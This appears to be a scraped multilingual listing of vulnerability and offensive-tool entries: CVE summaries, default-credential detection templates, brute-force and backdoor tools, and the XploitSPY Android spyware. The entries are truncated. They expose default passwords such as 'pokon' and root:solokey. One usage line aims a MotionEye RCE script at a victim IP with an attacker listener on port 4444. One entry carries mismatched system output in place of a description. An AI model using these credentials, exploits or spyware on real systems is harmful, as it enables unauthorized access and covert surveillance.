Tieline IP Audio Gateway <=2.6.4.8 - Unauthorized Remote Admin Panel Access

Tieline IP Audio Gateway 2.6.4.8 and below is affected by a vulnerability in the web administrative interface that could allow an unauthenticated user to access a sensitive part of the system with a high privileged account. id: CVE-2021-35336 info: name: Tieline IP Audio Gateway =2.6.4.8 -...

Wireless Multiplex Terminal Playout Server <=20.2.8 - Default Credential Detection

Wireless Multiplex Terminal Playout Server =20.2.8 has a default account with a password of pokon available via its web administrative interface. id: CVE-2020-35338 info: name: Wireless Multiplex Terminal Playout Server =20.2.8 - Default Credential Detection author: Jeya Seelan severity: critical...

Vue Vben Admin - Default Credentials

Vue Vben Admin 2.10.1 contains a broken authentication caused by hardcoded credentials in the backend, letting attackers log in without proper authorization, exploit requires access to the login interface. id: CVE-2025-25570 info: name: Vue Vben Admin - Default Credentials author: 0xAkoko severit...

Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials

Apache Solr 9.4.0 through 9.10.1 and 10.0.0 contain a hardcoded credentials vulnerability caused by default Basic Authentication template users in bin/solr auth enable, letting remote attackers gain full administrative access. Exploit requires use of default template users. id: CVE-2026-44825 inf...

Dejavu

DejaVU - オープンソース欺瞞プラットフォーム DejaVu（Camolabs.io の一部）は、クラウド（現時点ではAWSをサポート）と内部ネットワークの両方にデコイを展開できる欺瞞プラットフォームです。 これは Blackhat Europe でのプレゼンテーションで、攻撃ライフサイクルのさまざまな段階で一般的な敵対者の戦術や技術を検出するために欺瞞を活用する方法を示しています。 内部ネットワークへの DejaVu の展開 内部ネットワークに DejaVu を展開したい場合は、Camolabs.io からプラットフォームをダウンロードできます。以下のガイドを参考に始めてください...

mass-bruter

Mass Bruter Mass bruteforce network protocols Info Simple POC to quickly mass bruteforce common services in a large scale of network. It will check for default credentials on ftp, ssh, mysql, mssql...etc. This was made for authorized penetration testing purpose only. How it works 1. Use...

mass-bruter

Mass Bruter 네트워크 프로토콜 대량 브루트포스 정보 대규모 네트워크에서 일반적인 서비스들을 빠르게 대량 브루트포스하는 간단한 PoC입니다. ftp, ssh, mysql, mssql 등에서 기본 자격 증명을 확인합니다. 이 도구는 승인된 침투 테스트 목적으로만 제작되었습니다. 작동 방식 1. masscannmap보다 빠름을 사용하여 네트워크 세그먼트에서 일반적인 포트가 열린 활성 호스트를 찾습니다. 2. masscan 결과에서 IP와 포트를 파싱합니다. 3. hydra 명령을 구성 및 실행하여 장치에서 지원되는 네트워크...

CVE-2018-18852

CERIO 라우터 인증된 RCE 벤더 백도어 자격 증명 CVE-2018-18852 Python PoC hook-s3c github.com/andripwn, 트위터 @andripwn CVE-2018-18852에 대한 동작하는 Python PoC, 원본 출처; https://github.com/andripwn/CVE-2018-18852 개요 CERIO 라우터 모델 및 변형인 DT300N, DT100G, AMR-3204, WMR-200N은 루트 사용자로 인증된 웹 기반 RCE에 취약합니다. 미공개 0day 권고로 존재합니다;...

EUVD-2026-76738

An example environment-configuration file for a bundled inventory-management component ships with a fixed, publicly-known administrative password. A deployment that copies this example file into active configuration without running the setup routine that regenerates credentials will expose that...

CVE-2020-9496

CVE-2020-9496 脆弱環境のセットアップ root@kitploit: ▶ wget http://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip ▶ unzip apache-ofbiz-17.12.01.zip ▶ cd apache-ofbiz-17.12.01 ▶ sh gradle/init-gradle-wrapper.sh ▶ ./gradlew cleanAll loadDefault ▶ ./gradlew "ofbiz --load-data...

Backdooring-ZMM100-FingerPrint-Devices

임베디드 기기 해킹 : root@kitploit: Hardware platform ZMM100 : The fingerprint access control device Made by ZKSoftware. 기본 사용자/비밀번호 : root:solokey 프로토콜 : Telnet 23. 스크립트 : pwnit.py : 기기 해킹을 위한 자동화 도구. hell : 두 번째 백도어. leak-data.sh : 세 번째 백도어. YouTube 동영상 : https://www.youtube.com/watch?v=Zd1N0CbvR0k 루트...

heimdall_webserver

주의, 이 프로젝트는 베타 버전입니다. 많은 버그와 문제가 있습니다. 프로젝트를 도우려면 실 환경이 아닌 실습 환경에서 사용하세요. 아니요, 아직 HTTPS가 구현되지 않았습니다. 다음 업데이트에서 제공될 예정입니다. Heimdall 닉스 서버의 취약한 패키지를 중앙에서 관리하는 도구입니다. 시작하기 전에 root@kitploit: Python pip가 설치되어 있어야 합니다. 다음 명령어로 확인하세요. which pip pip가 설치되어 있다면 다음을 실행하세요. pip install -U pip pip가 설치되어 있지 않다...

CVE-2017-8225

CVE-2017-8225 Python3 설치 root@kitploit: apt-get install git pip3 install requests pip3 install colorama sudo apt update apt-get install python3 설치: root@kitploit: git clone https://github.com/kienquoc102/CVE-2017-8225.git 익스플로잇 코드: root@kitploit: cd CVE-2017-8225 python3 scanip.py 텍스트 파일 .txt 예시:...

motioneye-authenticated-RCE

MotionEye/MotionEyeOS 認証済みRCE MotionEyeにRCEを可能にするtasks.pickleファイルをアップロードするPython 3スクリプトです。管理者資格情報が必要なので、それほど大した問題ではないはずです。残念ながら、MotionEye/MotionEyeOSはデフォルトの資格情報で実行されていることがよくあります。 例: root@kitploit: main.py --victim 192.168.1.2 --attacker 192.168.1.3:4444...

changeme

changeme 기본 자격 증명 스캐너입니다. 소개 changeme는 상용 스캐너가 미처 처리하지 못한 부분을 담당합니다. 주로 기본 자격 증명과 백도어 자격 증명을 탐지하는 데 중점을 두며, 일반적인 자격 증명은 반드시 대상으로 하지 않습니다. 기본 모드는 HTTP 기본 자격 증명을 스캔하지만, 다른 자격 증명도 지원합니다. changeme는 코드나 모듈을 작성하지 않고도 새로운 자격 증명을 간편하게 추가할 수 있도록 설계되었습니다. changeme는 자격 증명 데이터를 코드와 분리하여 보관합니다. 모든 자격 증명은 yaml...

freeswitch_rce

버전: freeswitch는 종종 높은 권한으로 실행되므로, 권한 상승 효과도 얻을 수 있습니다...

CVE-2025-4336

eMagicOne Store Manager for WooCommerce 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2:...

Exploits

エクスプロイト 実世界とCTFのエクスプロイトPOC。 実世界 CVE| 概要| エクスプロイト ---|---|--- CVE-2017-5343| Wordpress SQLインジェクション| POC CVE-2018-8880| 認証なしのLutron Quantum Bacnet v2ネットワーク情報の外部漏えい| POC CVE-2018-11629| Homeworks QS Lutron統合プロトコルにおけるデフォルトかつ削除不可能な認証情報。| POC CVE-2018-11653| ネットワークチップセットデータを介した認証なしNetwaveカメラの情報漏えい。| PO...

XploitSPY

클라우드 기반의 Android 모니터링 도구, NodeJS로 구동됨 기능 GPS 로깅 마이크 녹음 연락처 보기 SMS 로그 SMS 보내기 통화 기록 설치된 앱 보기 스텁 권한 보기 실시간 클립보드 로깅 실시간 알림 로깅 WhatsApp, Facebook, Instagram, Gmail 등 WiFi 네트워크 보기 이전에 본 로그 파일 탐색기 및 다운로더 명령 대기열 기기 관리자 내장 APK 빌더 사전 요구 사항 Java Runtime Environment 11 이상 NodeJs 고정 IP 주소가 있는 서버 설치 1. JRE 11...

CVE-2025-4603

eMagicOne Store Manager for WooCommerce = 1.2.5 - 인증되지 않은 임의 파일 삭제 eMagicOne Store Manager for WooCommerce 플러그인은 원격 관리 프로토콜 엔드포인트?connector=bridge를 노출하여 서버에서 파일 삭제 작업을 허용합니다. 인증 메커니즘은 기본 자격 증명 쌍login=1, password=1과 세션 키 시스템에 의존합니다. 기본 자격 증명이 변경되지 않은 경우 공격자는 쉽게 인증하여 세션 키를 얻고 WordPress 루트 또는 접근 가능한...